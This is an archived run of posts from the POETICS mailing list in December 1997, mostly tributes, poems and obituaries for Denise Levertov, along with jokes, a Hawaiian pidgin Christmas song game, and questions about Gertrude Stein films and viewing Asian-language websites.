Bruce Sterling plays around a little with the possibilities in Holy Smoke.

Ron

"The MicroMedia Laboratory, which is a part of the MIT Media Laboratory, is focused on creating new electronic media and contains many different projects. The picture you see above demonstrates our goal of creating paper with microencapsulated cells that can freely rotate. Applying electrical charge to these capsules change their orientation and thus the same cells can display different images. "

http://physics.www.media.mit.edu/mm/home.html

↑ Index

366. Blair Seagram
Re: POETICS Digest - 18 Dec 1997 to 19 Dec 1997
Sun 21 Dec 1997

A linguistics professor was lecturing to his class one day.

"In English," he said, "A double negative forms a positive. In some languages, though, such as Russian, a double negative is still a negative. However, there is no language wherein a double positive can form a negative."

A voice from the back of the room piped up, "Yeah, right."

Blair Seagram

email: [redacted]
url: http://www.bway.net/~blairsea

↑ Index

367. Maz881
da happy kine
Sun 21 Dec 1997

---

the holidays are a time for wishing cheer. and this to you is yours from me. i live in hawaii and especially grant this forgivings to you. i learned this from seeing dolphins pulling santa sleigh. and from other dolphin sculptures, paintings, and stickers. christian laussen is a good painter and wyelan does happy scenes with volcanoes bursting in the background while a dolphin jumps out of the water flippering. underneath are electric gloe fishes, corals and whales, mother and child. you look as thru a glass pane and note the artist's skill: rendering of the border: surface water and underneath and air. at the pacific beach hotel there is a three story indoor pool where you can try out these viewing angles. a girl scubas along with fishes and manta rays and hammerhead shark while folks eat meals that tender $40 a plate. this leads to how i spent the holiday office party, which is the christmas party here. the company has about 30 people and so mates and spouse-like creatures also abounded. about 4 percent are haole like me. we played games after the meal. like, how many doors are there in vanstar? one had to count the stalls in the wahine's room so i was at a disadvantage. another game played i will relate to you in detail. it's called eh, wat dis song? there are 20 songs so you have to guess the standard english christmas song for the local title given:

1. Eh you guys, try stay come. You believe any kine, yeah?
2. Everybody stay get chicken skin.
3. Shaddup you, da good-goody flyin buggahs goin kanikapila!

4. Da place Jesus wen stay bebe time, so manini.
5. No can hea nuttin afta stay dark.
6. Us guys, tee bobura aliis, lidat.
7. We go decorate da Hongwangi.
8. I stay tripin out ova one dream about da kine haole X-mas.
9. I wen spahk one harry, haole, momona buggah suckin face weet my muddah.
10. Wen happen wen da kind sheep paniolos wen go spahk da kine afta stay dahk.
11. Da kine X-mas mele.
12. I goin stay come bum bye Christmas time fo see my muddah an faddah.
13. Dat wen happen afta curfew, Kawika Letterman stay on top da TV an neva even have one cloud in da sky.
14. Stay fah away in da cow's kau kau place.
15. Eh spahk da keiki, who's one?
16. Da bebe stay jammin on one small drum -- so cute!
17. Eh you know da momona haole buggah, he goin stay come Honolulu.
18. Neva mine, go get da malolo syrup we go make shave ice!
19. Da pilau buggah wen false crack me an now what, I stay niho'ole cho cho lips an tomorrow Christmas. Shhee!
20. Eh Honey Girl, Mele Kalikimaka.

↑ Index

368. **robert drake**
Re: Electronic Paper
Sun 21 Dec 1997

Miekal wrote:
>
>as well I would imagine that one would be able to create texts that read
>differently everytime you open the book...

(most of 'em do that now, fr me...)

> *...that are intelligent & learn*
> *what you as a reader like & dislike & evolve with the reader's*
> *participation.*

i think i know whachu mean; only a little bit scary, to me, that a text wd evolve based on my "likes & dislikes", and that that wd be "intelligent"... ya know?

lbd

↑ Index

369. Henry Gould
Re: da happy kine
Sun 21 Dec 1997

With the landless gull, that at sunset folds her wings and is rocked to sleep between billows; so at nightfall, the Nantucketer, out of sight of land, furls his sails, and lays him to rest, while under his very pillow rush herds of walruses and whales.

- Herman Melville, MOBY DICK, Chapt. 14

1,000 Grampus whales (porpoises) sighted around Christmas in Narragansett Bay.

↑ Index

370. nico vassilakis
Think of the Self Speaking (fwd)
Mon 22 Dec 1997

---------- Forwarded message ----------
Date: Sat, 20 Dec 1997 19:33:10 -0800 (PST)
From: Darrin Daniel <[redacted]>
To: nico vassilakis <[redacted]>
Subject: Think of the Self Speaking

Nico

here's the info' on the Smith book.

THINK OF THE SELF SPEAKING: Selected Interviews of Harry Smith

Introduction by Allen Ginsberg

Elbow and Cityful Press announce the first book collection of interviews by the filmmaker, painter and archivist, Harry Smith. Over 30 years of his life, Smith came back to the inteview as a medium for his brand of thought and expression. These interviews reveal the genius of the man and his contribution to arts and letters.

Harry Everett Smith was born May 29th, 1923 in Portland, Oregon. His early childhood was spent in the Pacific Northwest- Bellingham, Anacortes, Seattle and Portland. He attended University of Washington until before his move to

Berkeley, California in 1948. While in Berkeley he began extensively painting and filmmaking. Smith based much of his work in the non-objectivist style of Bauer and Kandinsky. In 1951 he received an invitation from Hilla Rebay of the Museum of Non-Objectivist art. He also received a Guggenheim, which allowed for him to move to New York City to pursue film and painting.

Primarily recognized as a filmmaker, Smith's innovations in hand-painting, collage, and batiking directly on film continue to influence on filmmakers today. His immense 78 album collection culminated in the "Anthology of American Music" [Re-released by Smithsonian Folkways].

Smith's range of discussion in "Think of the Self Speaking" includes: painting, music, film, the occult, anthropology and his early childhood in the northwest.

ISBN 1-885089-06-6. 175 pgs. 6x9, paper. $14.95 plus postage ($2.25). Cityful Press pob 4477 Seattle, Wa 98104-0477. Or e-mail at: [redacted]. Check or money order.

↑ Index

371. nico vassilakis
Gertrude Stein (Films?
Mon 22 Dec 1997

Would anyone have information on films 'of' 'about' Gertrude Stein?

and how I could get my hands on them for an event I'm preparing.

Thanks...

↑ Index

372. Mark Baker
Yeah, yeah, said who?
Mon 22 Dec 1997

Yeah, yeah. The way I heard it, years ago, it wasn't no anonymous voice but the voice of my old philosophy professor, Sidney Morgenbesser, scourge of pretension (and military-industrial complexes).

Mark Baker

> *A linguistics professor was lecturing to his class one day.*
>
> *"In English," he said, "A double negative forms a positive. In some languages, though, such as Russian, a double negative is still a negative. However, there is no language wherein a double positive can form a negative."*
>
> *A voice from the back of the room piped up, "Yeah, right."*

> *Blair Seagram*

↑ Index

373. **Jordan Davis**
Re: Yeah, yeah, said who?
Mon 22 Dec 1997

Not THE Sidney Morgenbesser?

The way _I_ heard the joke, it was a three a.m. phone call from a linguistics grad student to hir thesis adviser to say "sugar" was the only word in English in which "su" sounded like "sh", at which the professor said "Sure" and hung up.

Not THE Mary Mothersill? Well then Merry etc.,
Jordan

On Sun, 21 Dec 1997, Mark Baker wrote:

> *Yeah, yeah. The way I heard it, years ago, it wasn't no anonymous voice but the voice of my old philosophy professor, Sidney Morgenbesser, scourge of pretension (and military-industrial complexes).*
>
> *Mark Baker*
>
> *A linguistics professor was lecturing to his class one day.*
>
> *"In English," he said, "A double negative forms a positive. In some languages, though, such as Russian, a double negative is still a negative. However, there is no language wherein a double positive can form a negative."*
>
> *A voice from the back of the room piped up, "Yeah, right."*
>
> *Blair Seagram*

↑ Index

374. **Julie Marie Schmid**
Re: Gertrude Stein (Films?
Mon 22 Dec 1997

What about the video *When This You See, Remember Me*? I've shown it in undergrad. classes before and it provides a nice mix of biographical and

literary. I'm not sure where one could get a copy of this. I used the copy at the UI library.

Hope that helps.

Julie Schmid
Dept. of English
University of Iowa

↑ Index

375. **Mfranco34**
Re: STEIN FILMS
Mon 22 Dec 1997

Hi

There is a film made in 70 or so by Perry Miller Addato [not sure of spelling here] that has Virgil T & many others clips of 4 saints & in Cricles & is an excelent general intro to GS ... enjoy {Ithik this was made for PBS}

Michael Franco

↑ Index

376. **Alan Myouka Sondheim**
Julu-Traditional-Poem by Jennifer
Mon 22 Dec 1997

-

J---

Julu wanders Chiyo; it's night, there are dragonnes beyond
Ears of Buddha wings, there are sighs from jinja pond
You don't go beyond.
There are dark waves, valves, not fucking Hokusai sweet Hiroshige -
What gaijin know of art can't be placed on bamboo map
Or prefecture off it, the map where - how can I write mishap
Of Julu, what she found, crashed pottery - there was blood
Between the cracks (tan dust) from three thousand or more
Years of Jericho, but this was elsewhere, temple store,
Three squares for goods. She died. There were hoods
Down the street. They thought she was meat.

↑ Index

377. **David R. Israel**
Re: Yeah, yeah, said who?
Tue 23 Dec 1997

I'll be --
well I never --
you don't say --
my word -- (etc.)

hey the way I heard it,

there was this antsy undergrad who suddently started to evidence Orientalist tendancies -- researching the binomials of Mandarin, and taking special interest in the rhymey-dimey wordplay of Hindi --

he explained to his English Lit bud, "I've had it up to here with this too-staid, dull-blade language. English? -- it just ain't tinglish. Hindi-speakers have more fun."

His friend allowed, resignedly,

"Okie-dokie."

d.i.

/ / /

quoth Jordan Davis:

> *Not THE Sidney Morgenbesser?*
>
> *The way _I_ heard the joke, it was a three a.m. phone call from a linguistics grad student to hir thesis adviser to say "sugar" was the only word in English in which "su" sounded like "sh", at which the professor said "Sure" and hung up.*
>
> *Not THE Mary Mothersill? Well then Merry etc.,*
> *Jordan*
>
> *On Sun, 21 Dec 1997, Mark Baker wrote:*
>
> *Yeah, yeah. The way I heard it, years ago, it wasn't no anonymous voice but the voice of my old philosophy professor, Sidney Morgenbesser, scourge of pretension (and military-industrial complexes).*
>
> *Mark Baker*

↑ Index

378. Franklin Bruno
Re: POETICS Digest - 21 Dec 1997 to 22 Dec 1997
Tue 23 Dec 1997

Just to defend obscure analytic philosophers for a sec: I've heard that comment attributed to Morgenbesser as well--he's an eminent logician, with a rep for being quick on his feet at conferences.

THE fjb

Jordan quipped:
>Not THE Sidney Morgenbesser?
>
>The way _I_ heard the joke, it was a three a.m. phone call from a
>linguistics grad student to hir thesis adviser to say "sugar" was the only
>word in English in which "su" sounded like "sh", at which the professor
>said "Sure" and hung up.
>
>Not THE Mary Mothersill? Well then Merry etc.,
>Jordan
>
>On Sun, 21 Dec 1997, Mark Baker wrote:
>
>> Yeah, yeah. The way I heard it, years ago, it wasn't no anonymous voice
>> but the voice of my old philosophy professor, Sidney Morgenbesser, scourge
>> of pretension (and military-industrial complexes).
>>
>> Mark Baker
>>
>>

↑ Index

379. lee ann brown
Re: POETICS Digest - 20 Dec 1997 to 21 Dec 1997
Tue 23 Dec 1997

Here's my haole attempt at translation from Mazz's message which included the game to supply the Christmas song for the local Hawaiian title given:

>1. Eh you guys, try stay come. You believe any kine, yeah?
1. O Come All Ye Faithful

>2. Everybody stay get chicken skin.
2. Walkin' in a Winter Wonderland? (I know that's wrong but how else do you get chicken skin?)

> *3. Shaddup you, da good-goody flyin buggahs goin kanikapila!*
> *3. Jingle Bells?*

>4. Da place Jesus wen stay bebe time, so manini.
4. O Little Town of Bethlehem

>5. No can hea nuttin afta stay dark.
5. Silent Night

>6. Us guys, tee bobura aliis, lidat.
6. We Three Kings

>7. We go decorate da Hongwangi.
7. Deck the Halls

>8. I stay tripin out ova one dream about da kine haole X-mas.
8. I'm Dreaming of a White Christmas

>9. I wen spahk one harry, haole, momona buggah suckin face weet my mud-dah.
8. I Saw Mommy Kissing Santa Claus

>10. Wen happen wen da kind sheep paniolos wen go spahk da kine afta stay
>dahk.
10. While Shepards Watched Their Flocks By Night (or as our childhood parody went: While Shepards Washed
Their Socks by Night)

>11. Da kine X-mas mele.
11. ?

>12. I goin stay come bum bye Christmas time fo see my muddah an faddah.
12. I'll Be Home For Christmas

>13. Dat wen happen afta curfew, Kawika Letterman stay on top da TV an neva
>even have one cloud in da sky.
13. It Came Upon A Midnight Clear

>14. Stay fah away in da cow's kau kau place.
15. Away In A manger

>15. Eh spahk da keiki, who's one?
15. What Child Is This?
>
>16. Da bebe stay jammin on one small drum -- so cute!
16. Little Drummer Boy

>17. Eh you know da momona haole buggah, he goin stay come Honolulu.
17. Here Comes Santa Claus

>18. Neva mine, go get da malolo syrup we go make shave ice!
18. ?

>19. Da pilau buggah wen false crack me an now what, I stay niho'ole cho cho
>lips an tomorrow Christmas. Shhee!
19.

>20. Eh Honey Girl, Mele Kalikimaka.
20.

How'd I do? Who is Honey Girl ? What ARE they? Lee Ann Brown

↑ Index

380. robert drake
another passing...
Tue 23 Dec 1997

According to today's paper, Denise Levertov passed away
in Seattle at age 74, from complications of lymphoma...

luigi-bob drake
burning press

↑ Index

381. aerialedge
New Anselm Berrigan chapbook
Tue 23 Dec 1997

New from Edge Books:

They Beat Me Over the Head With a Sack
by Anselm Berrigan,
14 pages, $4.

"The whole time I lived in Buffalo
No one ever said lovely curious or extraordinary.
If they did I wasn't there at the time.
Who in New York ever says marvelous terrific or
   gorgeous.
I say terrific.
It was given to me to say terrific
By certain people who knew how to say terrific."
                from "Not All There"

other Edge chapbooks:

the julia set, Jean Donnelly, $4.
World Prefix, Harrison Fisher, $4.
Late July, Gretchen Johnsen, $3.
Dogs, Phyllis Rosenzweig, $5.
Cusps, Chris Stroffolino, $2.50.

A Deal: Receive all six Edge chapbooks for $15 or any four for $11. Or of course order the new or any other at regular price. All prices postpaid.

Order by email & we'll bill you or

Send a check to Aerial/Edge
POBox 25642
Washington DC
20007

good day.

↑ Index

382. Suzanne Burns
Re: another passing...
Tue 23 Dec 1997

On Tue, 23 Dec 1997, robert drake wrote:

> *According to today's paper, Denise Levertov passed away in Seattle at age 74, from complications of lymphoma...*

Levertov has long been one of my most loved poets. What sad news! I will really miss her presence.

Suzanne Burns

↑ Index

383. Poetics List
Denise Levertov (1923-1997)
Tue 23 Dec 1997

Ron Silliman forwarded the AP obituary to the list and asked that it be posted I've appended the obituary in today's New York Times. --Ch. B.

December 23, 1997

Poet Denise Levertov Dies at 74

Filed at 6:19 a.m. EST

By The Associated Press

SEATTLE (AP) -- Denise Levertov, an intense, lyrical poet whose work evolved into free-form commentary on the social issues that were her passion, died Saturday of complications from lymphoma. She was 74.

Influenced by William Carlos Williams and other poets of her adopted country, Ms. Levertov addressed such political and social themes as war, the environment and feminism.

``She was really socially committed. It was important to her to go and protest at nuclear sites,'' said Barbara Epler, Ms. Levertov's editor since the mid-1980s at New Directions, her longtime publisher.

``She also protested the Vietnam War. She really put her money where her mouth was. It's like she was very 19th century with her vision of what poetry was and how total a calling it was.''

In a 1965 essay, Ms. Levertov described her poetry as aspiring toward ``organic form.''

``In organic poetry the metric movement, the measure, is the direct expression of the movement of perception,'' she wrote.

The idea, said Fran Polek, professor emeritus at Gonzaga University in Spokane, Wash., is to have the form arise ``naturally from the particular topic or the particular approach, just as plant or flower grows in a particular way in certain soils.''

``Her poetry looks in a mystical way for inner reality, inner truth,'' Polek said. ``She might start with a mundane-sounding topic, but she's always trying to find some mystical basis for reality. I think this is her charm, really.''

Ms. Levertov published more than 20 volumes of poetry since 1946, the most recent being ``Sands of the Well'' in 1996.

She won such awards as the Shelley Memorial Award, the Robert Frost Medal, the Lenore Marshall Prize and the Lannan Award, along with a Guggenheim Fellowship and a National Institute of Arts and Letters grant.

Ms. Levertov was born in England and was educated largely at home. During World War II, she worked as a nurse and later married an American soldier, Mitchell Goodman, who became a politically active writer and teacher.

They moved to the United States in 1948 and Ms. Levertov became a U.S. citizen in 1955. She and Goodman had a son named Nikolai before they divorced in 1974. Goodman died earlier this year.

Ms. Levertov, who taught at Stanford University from 1981 to 1994, moved to Seattle in 1989.

****

from The New York Times

December 23, 1997

Denise Levertov, 74, Poet and Activist

By MEL GUSSOW

Denise Levertov, a poet of intense emotion and fervid political conviction, died on Saturday at the Swedish Hospital in Seattle, where she lived. She was 74.

The cause was complications from lymphoma, said Griselda Ohannessian of New Directions, Ms. Levertov's publisher.

As a poet and political activist, Ms. Levertov was "a touchstone, a maintainer for our generation," the poet Robert Creeley, one of her first publishers in the United States, said Monday. "She was a constantly defining presence in the world we shared, a remarkable and transforming poet for all of us. She always had a vivid emotional response and also a completely dedicated sense of political and social need."

The poet Kenneth Rexroth once wrote that Ms. Levertov was "the most subtly skillful poet of her generation, the most profound, the most modest, the most moving."

In the tradition established by William Carlos Williams, she wrote with a concrete immediacy of language. She spoke directly through her poetry, favoring commonplace objects and images over large philosophical concepts.

The author of more than 30 books of poetry, essays and translations, she wrote with great particularity and sensitivity about aspects of love, spiritual as well as erotic. More and more, her work conveyed her political awareness and social consciousness. She was, as in the title of her first book of essays, "The Poet in the World."

At the same time, in her art she would contemplate her own life, writing confessional poems about her marital and familial problems. For her, content and form were "in a dynamic state of interaction."

In "The Ache of Marriage," she wrote:

"The ache of marriage:

thigh and tongue, beloved,

are heavy with it,

it throbs in the teeth

We look for communion

and are turned away, beloved,

each and each

It is leviathan and we

in its belly

looking for joy, some joy

not to be known outside it

two by two in the ark of

the ache of it."

And in "Of Being," she wrote:

"I know this happiness

is provisional:

the looming presences --

great suffering, great fear --

withdraw only

into peripheral vision:

but ineluctable this shimmering

of wind in the blue leaves:

this flood of stillness

widening the lake of sky:

this need to dance,

this need to kneel:

this mystery:"

A defining moment of her life was the Vietnam War. She helped found a group called the Writers' and Artists' Protest Against the War in Vietnam, she was actively involved in the anti-nuclear movement and in 1967 she edited a volume of poetry for the War Resisters League. In the same year, she published "The Sorrow Dance," a book of poems whose sorrow included the war and also the death of the poet's sister.

Ms. Levertov was born in Ilford, England. Her father was Paul Philip Levertoff, a Russian Jew who converted to Christianity and became an Anglican priest. Her mother was from Wales.

Her father's conversations about the family background in Hasidism and her mother's knowledge of Welsh and English folklore proved influential. Educated

by her parents, she was introduced to poetry by her older sister, Olga, and was writing from an early age.

During World War II, she worked as a nurse in London and also began publishing her poetry. In 1940 her first poem appeared in Poetry Quarterly, and, said Rexroth, he and other poets were soon "in excited correspondence about her" as "the baby of the new Romanticism." Her first volume of verse, "The Double Image," was published in 1946.

After the war she married Mitchell Goodman, an American writer, and for several years they lived in France near Creeley, who was a friend of Goodman. In 1948 the couple moved to the United States, where Ms. Levertov studied and was influenced by such modernist poets as Williams, Wallace Stevens and Ezra Pound, and also continued her artistic relationship with Creeley, Robert Duncan and other Black Mountain poets.

Both she and her husband frequently spoke out on political issues, particularly regarding the Vietnam War. Goodman was convicted along with Dr. Benjamin Spock for counseling resistance of the draft. Ms. Levertov and Goodman were divorced in 1975. Goodman died last February. They had one son, Nikolai, who lives in Seattle.

When Ms. Levertov's 11th collection of verse, "The Freeing of the Dust," was published in 1975, the poet David Ignatow wrote in The New York Times Book Review that "by nearly unanimous agreement Levertov was well on her way to becoming one of our leading poets" with "her forceful and compassionate presentations of urban lives" and "the beauty and sensuousness of her nature poems." By shifting to "passionate Vietnam poems," she had lost some of her following but gained a new vitality.

Ms. Levertov wrote through six decades. In the 1990s, she published "New and Selected Essays"; four poetry volumes, "Evening Train," "Sands of the Well," "The Life Around Us: Selected Poems on Nature" and "The Stream and The Sapphire: Selected Poems on Religious Themes," and the prose memoir "Tesserae: Memories and Suppositions."

She taught at colleges and universities, and served as poetry editor of The Nation and Mother Jones. Among her honors were the Elmer Holmes Bobst Award in poetry and the $50,000 Lannan Prize. In 1996, she won the Governor's Award from the Washington state Commission for the Humanities.

She felt compelled to clarify and justify the uses of poetry in a world of political crisis. In "New and Selected Essays" she wrote, "One is in despair over the current manifestation of malevolent imbecility and the seemingly invincible power of rapacity, yet finds oneself writing a poem about the trout lilies in the spring woods. And one has promised to speak at a meeting or help picket a building. If

one is conscientious, the only solution is to attempt to weigh conflicting claims at each crucial moment, and in general to try to juggle well and keep all the oranges dancing in the air at once."

Ms. Levertov was a masterly juggler of words, images and feelings, as well as a defender of artistic and political liberty.

In "Overheard Over S.E. Asia," she wrote:

"I am the snow that burns.

I fall

wherever men send me to fall --

but I prefer flesh, so smooth, so dense:

I decorate it in black, and seek the bone."

↑ Index

384. **pritchpa**
Re: Denise Levertov
Tue 23 Dec 1997

"Effacement"

Today the mountain
is cloud,
pale cone of shadow
veiled by a paler scrim ---

majestic presence become
one cloud among others,
humble vapor,
barely discernible,

like the archangel walking
with Tobias on dusty roads.

-- Denise Levertov

↑ Index

385. **Henry Gould**
Denise Levertov
Tue 23 Dec 1997

Settling

I was welcomed here--clear gold
of late summer, of opening autumn,

the dawn eagle sunning himself on the highest tree,
the mountain revealing herself unclouded, her snow
tinted apricot as she looked west,
tolerant, in her steadfastness, of the restless sun
forever rising and setting.
Now I am given
a taste of the grey foretold by all and sundry,
a grey both heavy and chill. I've boasted I would not care,
I'm London-born. And I won't. I'll dig in,
into my days, having come here to live, not to visit.
Grey is the price
of neighboring with eagles, of knowing
a mountain's vast presence, seen or unseen.

-- Denise Levertov

↑ Index

386. **david bromige**
Denise Levertov, deceased
Tue 23 Dec 1997

HYPOCRITE WOMEN

Hypocrite women, how seldom we speak
of our own doubts, while dubiously
we mother man in his doubt!

And if at Mill Valley perched in the trees
the sweet rain drifting through western air
a white sweating bull of a poet told us

our cunts are ugly--why didn't we
admit we have thought so too? (And
what shame? They are not for the eye!)

No, they are dark and wrinkled and hairy,
caves of the Moon. . . And when a
dark humming fills us, a

coldness towards life,
we are too much women to
own to such unwomanliness.

Whorishly with the psychopomp
we play and plead--and say
nothing of this later. And our dreams,

with what frivolity we have pared them
like toenails, clipped them like ends of
split hair.

++++++++++++++++

This took considerable courage to write/publish in the early 60s.

The local details & name are curiously irrelevant, one thinks. It was coding, along with the "white sweating bull of a poet," to identify Jack Spicer as the speaker of the cunts-are-ugly line.

"They are not for the eye!" resonates oddly after 35 years of feminist debate.But the impetus to begin such debate must be attributed in part to Denise Levertov's prompting. She was frank, and she was given to assertion.

The Vietnam War was tragic for countless persons, Denise among them. Being in the right is not good for a poet. Surely, though, she helped bring that war to its close.

She told me--this was in 1972 or so when I visited her in Boston--I can hear still the earnestness of her tone, she had found the truth and she was feeling its indignity--that she had been "used" by the Black Mountaineers as "their token woman." No doubt (no doubt that is what she felt), but I and many others were so glad that this abuse had resulted in her poetry being available to us, and I said so. Certainly the exposure that was one result, her work in the Allen anthology, brought her poetry to a far wider audience than she could, at the outset, have rustled up all on her own. But she would not concern herself with that qualification.

I experienced her generosity,love, enthusiasm, intensity, intelligence and rectitude firsthand the year I was her TA at Berkeley, and a short time thereafter. Mitch and she opened their home to me among so many others who could be supposed to embrace their causes. I loved her. She was endearingly gat-toothed, like John Ashbery (and likely the Wife of Bath). She could also get very giggly, English-schoolgirl giggly. Her innocence was always with her, and seldom prissy.

But there was more than a touch of "party-line" about her taste. She did not read younger poets with the catholicism she herself, as one who had overturned the money-lenders' tables in the temple, might more perspicaciously have striven to maintain. Or so I felt. Rae Armantrout, a student of hers, however, has testified to the encouragement she received. And surely Rae's work is radically different from Denise's; although in "Merrit Parkway," for instance, I find echoes, and a possible precedence for Rae's more subtle nailings of american life : "speeding with/ a slurred sound". . . .

It was at the MLA in San Diego two, three years since that I went to a Levertov reading for the last time. It was very well-attended, in a room that was a little too large (compared to the smaller, densely-packed room where Sharon Olds was reading at the same time). I cannot recall the poems she read with any vividness. The mode was by now as familiar as it had been extraordinary, 30 years before. Possibly I was speeding with a slurred sound.

Not death but time is the evil, time with its repetitions and forgetfulness. I recall mostly the gracious, nuanced voice, so like my sister's (just her age), the persistence, the curiosity, the sense that each life had value, as though Auschwitz might just be atoned for. if from her example each could draw strength and veneration for life, in its specificities. Yet how well she knew the dulling of habit, of the familiar : "The Ache of Marriage" cannot be bettered, :"two by two in the ark of/the ache of it."

I mourn the Denise I knew, here in the fag-end of this year that brought death to many of our poets. Reading through her books, I come across these lines(from "The Five-Day Rain") :

Wear scarlet! Tear the green lemons
off the tree! I don't want
to forget who I am, and what has burned in me,
and hang limp and clean, an empty dress--

That is the feeling, and she wrote it. David

↑ Index

387. **George Bowering**

Re: another passing...

Tue 23 Dec 1997

Denise was a terrific poet. In fact I just set an exam for freshmen, with her poem "The Hands" as a sight reading. If there is ever a poem that makes freshies think and respond with imagination, it is that one.

To think: I once tramped all the way to her place in a nowhere town at the end of a road in mid-Maine, but never went 200km down the I-5 to see her in Seattle! We have to quit expecting our heroes to be around for ever.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

388. **George J Farrah**
Re: Denise Levertov
Wed 24 Dec 1997

Of Being

I know this happiness
is provisional:

the looming presences-
great suffering, great fear-

withdraw only
into peripheral vision:

but ineluctable this shimmering
of wind in the blue leaves:

this flood of stillness
widening the lake of sky:

this need to dance,
this need to kneel:
this mystery:

Denise Levertov

↑ Index

389. **Jill A Mccartney**
Re: Gertrude Stein Films
Wed 24 Dec 1997

---

nico vassilakis had asked about films with/of gertrude stein:

a more fanciful film that takes as its subject stein and toklas is *Shooting the Moon*--with linda hunt as alice toklas. weird thing is that a baby is deposited with stein and toklas (as a way of maternalizing them???).

jill mccartney

↑ Index

390. **Jill A Mccartney**
Re: gertrude stein films
Wed 24 Dec 1997

---

nico vassilakis had asked about films with/of gertrude stein:

a more fanciful film that takes as its subject stein and toklas is *shooting the moon*--with linda hunt as alice toklas. weird thing is that a baby is deposited with stein and toklas (as a way of maternalizing them????).

jill mccartney

↑ Index

391. Douglas Barbour
Re: Denise Levertov
Wed 24 Dec 1997

Sad news, And I yesterday at a memorial for a too young jazz pianist who left so many wishing he had had more time to give of his great gift to us here. But for me, Levertov was a major influence (as was Phyllis Webb; & that's a story in itself I think, that such women did influence many men), & I still love _O Taste and See_, especially, from which many quoted. And thanks David for the close-ups. I heard her once, & got to say hello I owe you, but that's a terrific story of your relationship with her. Passion & a sense of language & rhythm. A lot to remember there. And a full life (the writing life) at least.

==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

Date: 18 December 1997 16:48
Subject: kanji

|this might be a stupid question, but Ive recently become interested in |the japanese visual poetry & hypermedia scene via the internet, but the |sites are almost impossible to view because netscape is language |specific.

It's far from a stupid question; I can't answer it; but I remember a little from a response to a very-badly constructed search on multi-language support when I wanted to do precisely the same thing re Greek. Under ibm machines many languages cause problems and there is a bias towards western european languages - for tech reasons though, I think

there are support programs in the microsoft SDK which I think you'd need to get before you could successful tweak your browser

I hate to say this but it is probably worth searching at the microsoft site - when I did my clumsy search a large number of hits were there - in order to see what they have

↑ Index

393. Douglas Barbour
Re: Denise Levertov
Wed 24 Dec 1997

Sad news, And I yesterday at a memorial for a too young jazz pianist who left so many wishing he had had more time to give of his great gift to us here. But for me, Levertov was a major influence (as was Phyllis Webb; & that's a story in itself I think, that such women did influence many men), & I still love _O Taste and See_, especially, from which many quoted. And thanks David for the close-ups. I heard her once, & got to say hello I owe you, but that's a terrific story of your relationship with her. Passion & a continuing concern for language & the heart's tongue. We'll hear her for a long time. I am reminded of her own lines on her masters:

This is the year the old ones
the old great ones
leave us alone on the road. . . .

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5

[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

> *but the sites are almost impossible to view because netscape is language specific.*

I've not yet explored it, but the Cathay.Net site ("Read Chinese in Net Applications") looks perhaps promising --
http://WWW.Cathay.Net/help/read-chn.shtml
(this page is for Windows, but they also have links for Mac etc.)

Further, you might find it worthwhile to check out my old Berkeley artist/musician-friend Dajuin Yao's SinoLogic site --
http://www.sinologic.com/

His links page leads in many directions. And the Chinese visual poetry experiments might also prove of some interest to folks here.

The "Chinese Learner's Alternative Page"
http://www.sinologic.com/clap.html is self-described thus:
<< C L A P offers you supplementary learning material
on Chinese language and
original articles on the latest directions in Chinese
language and Chinese culture.

This page is not only a free support for and service to the
users of HyperChina, but also an electronic magazine for
everyone who is studying or interested in Chinese language
and Chinese culture.
<snip>
(Animated cursive calligraphy courtesy of Mr. Wang Xizhi
[321-379 A.D.].) >>

Getting more directly on-point --
<< The editors of this magazine have just launched yet another Web site
to diverge their creative output. Called "Wonderfully Absurd
Temple (WAT?)," or MIAO MIAO MIAO in Chinese, this strangely
beautiful and seriously humorous site is an one-of-a-kind Web
gallery featuring Chinese avant-garde Web art/concrete
poetry/virtual music/experimental Buddhist art/virtual
performance art/multimedia and no-media conceptual art.

Since the content is mostly in graphics format, you can check it out even without a Chinese decoding system. There is also an English version. Enjoy! >>

Direct link to miao-miao-miao is:
http://www.sinologic.com/webart/

Since (for one thing) I don't presently have "a Chinese decoding system," hitting the "English" button (which appears after a small sequence of intro pages) proved expedient.

To cite one example from what's to be found there,
http://www.sinologic.com/webart/shi/shie.html
"Auto-Exoticism 1" is a time-art visual work described thus:

by Sounding Gourd

Notes:

This work shows a series of Chinese characters "morphing" into the next one, which shares a common element in the ideogram as the previous one, while the shared element keeps changing everytime.

The author purposefully had the ideograms so enlarged and sometimes abstracted to pure geometric shapes (with the help of this particular sans serif font) that it is often impossible to read/recognize the characters (and decode its meaning) even for the Chinese viewer, especially when the parts of ideograms are gradually substituted and thus often stripped of its semantic associations. The characters are carefully chosen and arranged so that this "morphing" transformation forms an endless loop. . . . >>

/ / / / /

Also, -- looking now at anouther www source -- this page --
http://www.ocrat.com/ocrat/voa/gpin16.html
has a some worthwhile links --

(it's from the "Study Chinese Mandarin Using VOA" site (which, incidentally, uses Voice of America newscasts, quick-loading GIF files for the [so to say] kanji text (except that it's in "simplified characters" -- the PRC standard form of characters, which often differ from the old-style chinese/japanese), and RealAudio, to give a multimedia study approach to the VOA's news of moment)

Miekal, if you might at some point kindly post a few interesting URLs from "the Japanese visual poetry & hypermedia scene," that'd be good.

best,
d.i.
.
.....
.....

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\\\
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399. Miekal And

who needs poetry when you have error messages

Fri 26 Dec 1997

Your message was not delivered to [redacted]_fs24.csd.plym.ac.uk for the following reason: Message looping detected (please contact local administrator) This Message has travelled a long time, there are too many Trace hops 26

↑ Index

400. Hank Lazer

Re: Denise Levertov, deceased

Fri 26 Dec 1997

